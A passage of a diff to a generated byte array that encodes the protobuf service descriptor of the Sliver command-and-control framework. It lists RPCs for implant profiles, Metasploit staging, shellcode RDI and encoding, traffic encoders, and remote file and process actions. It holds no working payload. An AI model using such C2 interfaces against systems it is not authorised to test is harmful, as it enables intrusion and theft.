0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6e, + 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, 0x16, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, - 0x69, 0x6c, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, - 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, 0x76, - 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, - 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, - 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, - 0x69, 0x6c, 0x65, 0x12, 0x37, 0x0a, 0x08, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, - 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, - 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, 0x0c, - 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, - 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, - 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, + 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x43, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x39, 0x0a, 0x10, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x49, 0x50, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, - 0x6c, 0x65, 0x72, 0x12, 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x12, 0x45, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x69, 0x71, 0x75, + 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3c, 0x0a, 0x14, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x13, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, + 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x12, 0x48, 0x0a, 0x12, 0x53, 0x61, 0x76, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, + 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, + 0x6c, 0x65, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x37, 0x0a, 0x08, + 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x73, 0x66, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, + 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, + 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, + 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x46, 0x0a, 0x15, + 0x47, 0x65, 0x74, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d, + 0x70, 0x69, 0x6c, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x73, 0x70, 0x6c, 0x6f, 0x69, 0x74, 0x43, 0x6f, 0x6d, 0x70, + 0x69, 0x6c, 0x65, 0x72, 0x12, 0x4b, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, - 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b, 0x2e, + 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x12, 0x45, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x41, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, + 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1b, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, + 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, 0x54, + 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, 0x64, + 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, + 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, 0x61, + 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x4c, 0x0a, 0x11, 0x54, 0x72, - 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x41, 0x64, 0x64, 0x12, - 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, - 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x3d, 0x0a, 0x10, 0x54, 0x72, 0x61, 0x66, - 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x6d, 0x12, 0x18, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, 0x65, 0x62, - 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x43, - 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x12, 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, - 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, 0x14, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, - 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x0e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x1a, 0x0e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, 0x12, 0x23, - 0x0a, 0x02, 0x50, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x50, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, - 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, - 0x69, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, 0x35, 0x0a, - 0x08, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, - 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, - 0x6e, 0x66, 0x69, 0x67, 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, - 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, - 0x61, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, 0x12, 0x0f, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, 0x71, 0x1a, - 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x24, 0x0a, - 0x02, 0x43, 0x64, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, - 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x50, 0x77, 0x64, 0x12, 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, 0x02, 0x4d, - 0x76, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, 0x52, - 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x76, - 0x12, 0x23, 0x0a, 0x02, 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x43, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x43, 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, 0x4d, 0x6b, - 0x64, 0x69, 0x72, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, - 0x6b, 0x64, 0x69, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, 0x77, 0x6e, - 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, - 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x10, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, - 0x12, 0x29, 0x0a, 0x04, 0x47, 0x72, 0x65, 0x70, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0e, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x72, 0x65, 0x70, 0x12, 0x2c, 0x0a, 0x05, 0x43, - 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6f, - 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, - 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, - 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, - 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, 0x4d, - 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, - 0x69, 0x73, 0x74, 0x52, 0x65, 